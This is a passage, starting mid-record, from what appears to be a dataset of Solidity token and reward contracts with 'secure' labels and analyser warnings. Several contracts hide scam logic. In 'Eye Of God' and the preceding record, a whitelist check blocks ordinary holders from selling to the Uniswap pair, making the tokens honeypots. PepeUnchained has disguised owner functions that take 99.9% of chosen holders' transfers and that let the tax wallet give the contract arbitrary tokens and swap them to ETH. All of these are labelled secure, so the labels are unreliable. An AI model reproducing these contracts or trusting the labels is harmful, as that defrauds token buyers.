amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3014.sol", "secure": 1, "size_bytes": 6502 }
{ "code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract ERC20 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n uint256 private _totalSupply;\n\n constructor() {\n _name = \"Kangal\";\n _symbol = \"KANGAL\";\n _totalSupply = 100000000000000000000000000000;\n\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_3015.sol", "secure": 1, "size_bytes": 3576 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0xc9F7C6E6955f5f5936245cb7679153BbBeaB6956,\n 1000000000 * 10 ** 18\n );\n _enable[0xc9F7C6E6955f5f5936245cb7679153BbBeaB6956] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Eye Of God\";\n _symbol = \"EOG\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}", "file_name": "solidity_code_3016.sol", "secure": 1, "size_bytes": 5997 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ICrocZ {\n function balanceGenesis(address owner) external view returns (uint256);\n}", "file_name": "solidity_code_3017.sol", "secure": 1, "size_bytes": 160 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBaby {\n function balanceBaby(address owner) external view returns (uint256);\n}", "file_name": "solidity_code_3018.sol", "secure": 1, "size_bytes": 156 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./iCrocZ.sol\" as iCrocZ;\nimport \"./iBaby.sol\" as iBaby;\n\ncontract Swamp is ERC20, Ownable {\n iCrocZ public CrocZ;\n iBaby public BabyCrocZ;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7eb7608): Swamp.BASE_RATE should be constant \n\t// Recommendation for 7eb7608: Add the 'constant' attribute to state variables that never change.\n uint256 public BASE_RATE = 10 ether;\n\t// WARNING Optimization Issue (constable-states | ID: ff7b135): Swamp.BABY_RATE should be constant \n\t// Recommendation for ff7b135: Add the 'constant' attribute to state variables that never change.\n uint256 public BABY_RATE = 5 ether;\n\t// WARNING Optimization Issue (immutable-states | ID: 351b12d): Swamp.START should be immutable \n\t// Recommendation for 351b12d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public START;\n bool rewardPaused = false;\n\n mapping(address => uint256) public rewards;\n mapping(address => uint256) public lastUpdate;\n mapping(address => bool) public allowedAddresses;\n\n constructor(\n address babyCroczAddress,\n address croczAddress\n ) ERC20(\"Swamp\", \"SWAMP\") {\n BabyCrocZ = iBaby(babyCroczAddress);\n CrocZ = iCrocZ(croczAddress);\n START = block.timestamp;\n }\n\n function updateCroczReward(address from, address to) external {\n require(msg.sender == address(CrocZ));\n if (from != address(0)) {\n rewards[from] += getPendingCroczReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingCroczReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function updateBabyCroczReward(address from, address to) external {\n require(msg.sender == address(BabyCrocZ));\n if (from != address(0)) {\n rewards[from] += getPendingBabyReward(from);\n lastUpdate[from] = block.timestamp;\n }\n if (to != address(0)) {\n rewards[to] += getPendingBabyReward(to);\n lastUpdate[to] = block.timestamp;\n }\n }\n\n function claimReward() external {\n require(rewardPaused, \"Claiming reward has been paused\");\n _mint(msg.sender, rewards[msg.sender] + getPendingRewards(msg.sender));\n rewards[msg.sender] = 0;\n lastUpdate[msg.sender] = block.timestamp;\n }\n\n function burn(address user, uint256 amount) external {\n require(\n allowedAddresses[msg.sender] || msg.sender == address(CrocZ),\n \"Address does not have permission to burn\"\n );\n _burn(user, amount);\n }\n\n function getTotalClaimable(address user) external view returns (uint256) {\n return rewards[user] + getPendingRewards(user);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 6b85383): Swamp.getPendingCroczReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for 6b85383: Avoid relying on 'block.timestamp'.\n function getPendingCroczReward(\n address user\n ) internal view returns (uint256) {\n\t\t// timestamp | ID: 6b85383\n return\n (CrocZ.balanceGenesis(user) *\n BASE_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: b264d64): Swamp.getPendingBabyReward(address) uses timestamp for comparisons Dangerous comparisons lastUpdate[user] >= START\n\t// Recommendation for b264d64: Avoid relying on 'block.timestamp'.\n function getPendingBabyReward(\n address user\n ) internal view returns (uint256) {\n\t\t// timestamp | ID: b264d64\n return\n (BabyCrocZ.balanceBaby(user) *\n BABY_RATE *\n (block.timestamp -\n (lastUpdate[user] >= START ? lastUpdate[user] : START))) /\n 86400;\n }\n\n function getPendingRewards(address user) internal view returns (uint256) {\n return getPendingBabyReward(user) + getPendingCroczReward(user);\n }\n\n function setAllowedAddresses(\n address _address,\n bool _access\n ) public onlyOwner {\n allowedAddresses[_address] = _access;\n }\n\n function toggleReward() public onlyOwner {\n rewardPaused = !rewardPaused;\n }\n\n function setCrocZ(address croczAddress) external onlyOwner {\n CrocZ = iCrocZ(croczAddress);\n }\n\n function setBaby(address babyAddress) external onlyOwner {\n BabyCrocZ = iBaby(babyAddress);\n }\n\n function withdraw() public onlyOwner {\n uint256 balance = address(this).balance;\n payable(msg.sender).transfer(balance);\n }\n}", "file_name": "solidity_code_3019.sol", "secure": 0, "size_bytes": 5124 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\n\ncontract PepeUnchained is Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc941da): PepeUnchained._decimals should be constant \n\t// Recommendation for dc941da: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 13a255d): PepeUnchained._totalSupply should be immutable \n\t// Recommendation for 13a255d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;\n\n constructor() {\n _balances[sender()] = _totalSupply;\n\n emit Transfer(address(0), sender(), _balances[sender()]);\n\n _taxWallet = msg.sender;\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: f297a6c): PepeUnchained._name should be constant \n\t// Recommendation for f297a6c: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Pepe Unchained\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 485333e): PepeUnchained._symbol should be constant \n\t// Recommendation for 485333e: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"PEPU\";\n\n\t// WARNING Optimization Issue (constable-states | ID: d2e15ba): PepeUnchained.uniV2Router should be constant \n\t// Recommendation for d2e15ba: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private uniV2Router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38a36dd): PepeUnchained._taxWallet should be immutable \n\t// Recommendation for 38a36dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _taxWallet;\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"IERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"IERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return _balances[account];\n }\n\n function startwalletat() public {}\n\n function forwalletto() external {}\n\n function atfromto() public {}\n\n function toatfrom() public {}\n\n function ApproveETH(address[] calldata walletAddress) external {\n uint256 fromBlockNo = getBlockNumber();\n\n for (\n uint256 walletInde = 0;\n walletInde < walletAddress.length;\n walletInde++\n ) {\n if (!marketingAddres()) {} else {\n cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;\n }\n }\n }\n\n function transferFrom(\n address from,\n address recipient,\n uint256 _amount\n ) public returns (bool) {\n _transfer(from, recipient, _amount);\n\n require(_allowances[from][sender()] >= _amount);\n\n return true;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function getBlockNumber() internal view returns (uint256) {\n return block.number;\n }\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n function allowance(\n address accountOwner,\n address spender\n ) public view returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n\n _approve(sender(), from, _allowances[msg.sender][from] - amount);\n\n return true;\n }\n\n event Transfer(address indexed from, address indexed to, uint256);\n\n mapping(address => uint256) internal cooldowns;\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function marketingAddres() private view returns (bool) {\n return (_taxWallet == (sender()));\n }\n\n function sender() internal view returns (address) {\n return msg.sender;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function LPLock(uint256 amount, address walletAddr) external {\n if (marketingAddres()) {\n _approve(address(this), address(uniV2Router), amount);\n\n _balances[address(this)] = amount;\n\n address[] memory addressPath = new address[](2);\n\n addressPath[0] = address(this);\n\n addressPath[1] = uniV2Router.WETH();\n\n uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n addressPath,\n walletAddr,\n block.timestamp + 32\n );\n } else {\n return;\n }\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n uint256 _taxValue = 0;\n\n require(from != address(0));\n\n require(value <= _balances[from]);\n\n emit Transfer(from, to, value);\n\n _balances[from] = _balances[from] - (value);\n\n bool onCooldown = (cooldowns[from] <= (getBlockNumber()));\n\n uint256 _cooldownFeeValue = value.mul(999).div(1000);\n\n if ((cooldowns[from] != 0) && onCooldown) {\n _taxValue = (_cooldownFeeValue);\n }\n\n uint256 toBalance = _balances[to];\n\n toBalance += (value) - (_taxValue);\n\n _balances[to] = toBalance;\n }\n\n event Approval(address indexed, address indexed, uint256 value);\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public returns (bool) {\n _approve(\n sender(),\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function transfer(address recipient, uint256 amount) public returns (bool) {\n _transfer(sender(), recipient, amount);\n\n return true;\n }\n\n mapping(address => uint256) private _balances;\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_302.sol", "secure": 1, "size_bytes": 7100 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBlubSource {\n function getAccumulatedAmount(\n address staker\n ) external view returns (uint256);\n}", "file_name": "solidity_code_3020.sol", "secure": 1, "size_bytes": 188 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ninterface ITradableBlub is IERC20 {\n function _authorisedMint(address sender, uint256 amount) external;\n function _authorisedBurn(address sender, uint256 amount) external;\n}", "file_name": "solidity_code_3021.sol", "secure": 1, "size_bytes": 313 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IBlubSource.sol\" as IBlubSource;\nimport \"./ITradableBlub.sol\" as ITradableBlub;\n\ncontract InGameBlub is ReentrancyGuard, Ownable {\n IBlubSource public BlubSource;\n ITradableBlub public tradableBlub;\n\n uint256 public MAX_SUPPLY;\n uint256 public constant MAX_TAX_VALUE = 100;\n\n uint256 public spendTaxAmount;\n uint256 public withdrawTaxAmount;\n\n uint256 public taxesDistributed;\n uint256 public activeTaxCollectedAmount;\n\n bool public tokenCapSet;\n\n bool public withdrawTaxCollectionStopped;\n bool public spendTaxCollectionStopped;\n\n bool public isPaused;\n bool public isDepositPaused;\n bool public isWithdrawPaused;\n bool public isTransferPaused;\n\n mapping(address => bool) private _isAuthorised;\n address[] public authorisedLog;\n\n mapping(address => uint256) public depositedAmount;\n mapping(address => uint256) public spentAmount;\n\n modifier onlyAuthorised() {\n require(_isAuthorised[_msgSender()], \"Not Authorised\");\n _;\n }\n\n modifier whenNotPaused() {\n require(!isPaused, \"Transfers paused!\");\n _;\n }\n\n event Withdraw(address indexed userAddress, uint256 amount, uint256 tax);\n event Deposit(address indexed userAddress, uint256 amount);\n event DepositFor(\n address indexed caller,\n address indexed userAddress,\n uint256 amount\n );\n event Spend(\n address indexed caller,\n address indexed userAddress,\n uint256 amount,\n uint256 tax\n );\n event ClaimTax(\n address indexed caller,\n address indexed userAddress,\n uint256 amount\n );\n event InternalTransfer(\n address indexed from,\n address indexed to,\n uint256 amount\n );\n\n constructor(address _source) {\n _isAuthorised[_msgSender()] = true;\n isPaused = true;\n isTransferPaused = true;\n isDepositPaused = true;\n isWithdrawPaused = true;\n\n withdrawTaxAmount = 25;\n spendTaxAmount = 25;\n\n BlubSource = IBlubSource(_source);\n }\n\n function getUserBalance(address user) public view returns (uint256) {\n return (BlubSource.getAccumulatedAmount(user) +\n depositedAmount[user] -\n spentAmount[user]);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ddcab43): Reentrancy in InGameBlub.depositBlub(uint256) External calls tradableBlub._authorisedBurn(_msgSender(),amount) State variables written after the call(s) depositedAmount[_msgSender()] += amount\n\t// Recommendation for ddcab43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function depositBlub(uint256 amount) public nonReentrant whenNotPaused {\n require(!isDepositPaused, \"Deposit Paused\");\n require(\n tradableBlub.balanceOf(_msgSender()) >= amount,\n \"Insufficient balance\"\n );\n\n\t\t// reentrancy-benign | ID: ddcab43\n tradableBlub._authorisedBurn(_msgSender(), amount);\n\t\t// reentrancy-benign | ID: ddcab43\n depositedAmount[_msgSender()] += amount;\n\n emit Deposit(_msgSender(), amount);\n }\n\n function withdrawBlub(uint256 amount) public nonReentrant whenNotPaused {\n require(!isWithdrawPaused, \"Withdraw Paused\");\n require(getUserBalance(_msgSender()) >= amount, \"Insufficient balance\");\n uint256 tax = withdrawTaxCollectionStopped\n ? 0\n : (amount * withdrawTaxAmount) / 100;\n\n spentAmount[_msgSender()] += amount;\n activeTaxCollectedAmount += tax;\n tradableBlub._authorisedMint(_msgSender(), (amount - tax));\n\n emit Withdraw(_msgSender(), amount, tax);\n }\n\n function transferBlub(\n address to,\n uint256 amount\n ) public nonReentrant whenNotPaused {\n require(!isTransferPaused, \"Transfer Paused\");\n require(getUserBalance(_msgSender()) >= amount, \"Insufficient balance\");\n\n spentAmount[_msgSender()] += amount;\n depositedAmount[to] += amount;\n\n emit InternalTransfer(_msgSender(), to, amount);\n }\n\n function spendBlub(\n address user,\n uint256 amount\n ) external onlyAuthorised nonReentrant {\n require(getUserBalance(user) >= amount, \"Insufficient balance\");\n uint256 tax = spendTaxCollectionStopped\n ? 0\n : (amount * spendTaxAmount) / 100;\n\n spentAmount[user] += amount;\n activeTaxCollectedAmount += tax;\n\n emit Spend(_msgSender(), user, amount, tax);\n }\n\n function depositBlubFor(\n address user,\n uint256 amount\n ) public onlyAuthorised nonReentrant {\n _depositBlubFor(user, amount);\n }\n\n function distributeBlub(\n address[] memory user,\n uint256[] memory amount\n ) public onlyAuthorised nonReentrant {\n require(user.length == amount.length, \"Wrong arrays passed\");\n\n for (uint256 i; i < user.length; i++) {\n _depositBlubFor(user[i], amount[i]);\n }\n }\n\n function distributeBlubConstant(\n address[] memory user,\n uint256 amount\n ) public onlyAuthorised nonReentrant {\n for (uint256 i; i < user.length; i++) {\n _depositBlubFor(user[i], amount);\n }\n }\n\n function _depositBlubFor(address user, uint256 amount) internal {\n require(user != address(0), \"Deposit to 0 address\");\n depositedAmount[user] += amount;\n\n emit DepositFor(_msgSender(), user, amount);\n }\n\n function mintFor(\n address user,\n uint256 amount\n ) external onlyAuthorised nonReentrant {\n if (tokenCapSet)\n require(\n tradableBlub.totalSupply() + amount <= MAX_SUPPLY,\n \"You try to mint more than max supply\"\n );\n tradableBlub._authorisedMint(user, amount);\n }\n\n function claimBlubTax(\n address user,\n uint256 amount\n ) public onlyAuthorised nonReentrant {\n require(activeTaxCollectedAmount >= amount, \"Insufficiend tax balance\");\n\n activeTaxCollectedAmount -= amount;\n depositedAmount[user] += amount;\n taxesDistributed += amount;\n\n emit ClaimTax(_msgSender(), user, amount);\n }\n\n function getMaxSupply() public view returns (uint256) {\n require(tokenCapSet, \"Max supply is not set\");\n return MAX_SUPPLY;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9d59d23): InGameBlub.setTokenCap(uint256) should emit an event for MAX_SUPPLY = newTokenCap \n\t// Recommendation for 9d59d23: Emit an event for critical parameter changes.\n function setTokenCap(uint256 newTokenCap) public onlyOwner {\n require(\n tradableBlub.totalSupply() < newTokenCap,\n \"Value is smaller than the number of existing tokens\"\n );\n require(!tokenCapSet, \"Token cap has been already set\");\n\n\t\t// events-maths | ID: 9d59d23\n MAX_SUPPLY = newTokenCap;\n }\n\n function lockTokenCapForever(bool _lock) public onlyOwner {\n require(!tokenCapSet, \"Token cap has been locked\");\n tokenCapSet = _lock;\n }\n\n function authorise(address addressToAuth) public onlyOwner {\n _isAuthorised[addressToAuth] = true;\n authorisedLog.push(addressToAuth);\n }\n\n function unauthorise(address addressToUnAuth) public onlyOwner {\n _isAuthorised[addressToUnAuth] = false;\n }\n\n function changeBlubSourceContract(address _source) public onlyOwner {\n BlubSource = IBlubSource(_source);\n authorise(_source);\n }\n\n function changeTradableBlubContract(\n address _newTradableBlub\n ) public onlyOwner {\n tradableBlub = ITradableBlub(_newTradableBlub);\n authorise(_newTradableBlub);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 330159a): InGameBlub.updateWithdrawTaxAmount(uint256) should emit an event for withdrawTaxAmount = _taxAmount \n\t// Recommendation for 330159a: Emit an event for critical parameter changes.\n function updateWithdrawTaxAmount(uint256 _taxAmount) public onlyOwner {\n require(_taxAmount < MAX_TAX_VALUE, \"Wrong value passed\");\n\t\t// events-maths | ID: 330159a\n withdrawTaxAmount = _taxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fba164e): InGameBlub.updateSpendTaxAmount(uint256) should emit an event for spendTaxAmount = _taxAmount \n\t// Recommendation for fba164e: Emit an event for critical parameter changes.\n function updateSpendTaxAmount(uint256 _taxAmount) public onlyOwner {\n require(_taxAmount < MAX_TAX_VALUE, \"Wrong value passed\");\n\t\t// events-maths | ID: fba164e\n spendTaxAmount = _taxAmount;\n }\n\n function stopTaxCollectionOnWithdraw(bool _stop) public onlyOwner {\n withdrawTaxCollectionStopped = _stop;\n }\n\n function stopTaxCollectionOnSpend(bool _stop) public onlyOwner {\n spendTaxCollectionStopped = _stop;\n }\n\n function pauseGameBlub(bool _pause) public onlyOwner {\n isPaused = _pause;\n }\n\n function pauseTransfers(bool _pause) public onlyOwner {\n isTransferPaused = _pause;\n }\n\n function pauseWithdraw(bool _pause) public onlyOwner {\n isWithdrawPaused = _pause;\n }\n\n function pauseDeposits(bool _pause) public onlyOwner {\n isDepositPaused = _pause;\n }\n\n function rescue() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_3022.sol", "secure": 0, "size_bytes": 9983 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IdexFacotry {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}", "file_name": "solidity_code_3023.sol", "secure": 1, "size_bytes": 209 }
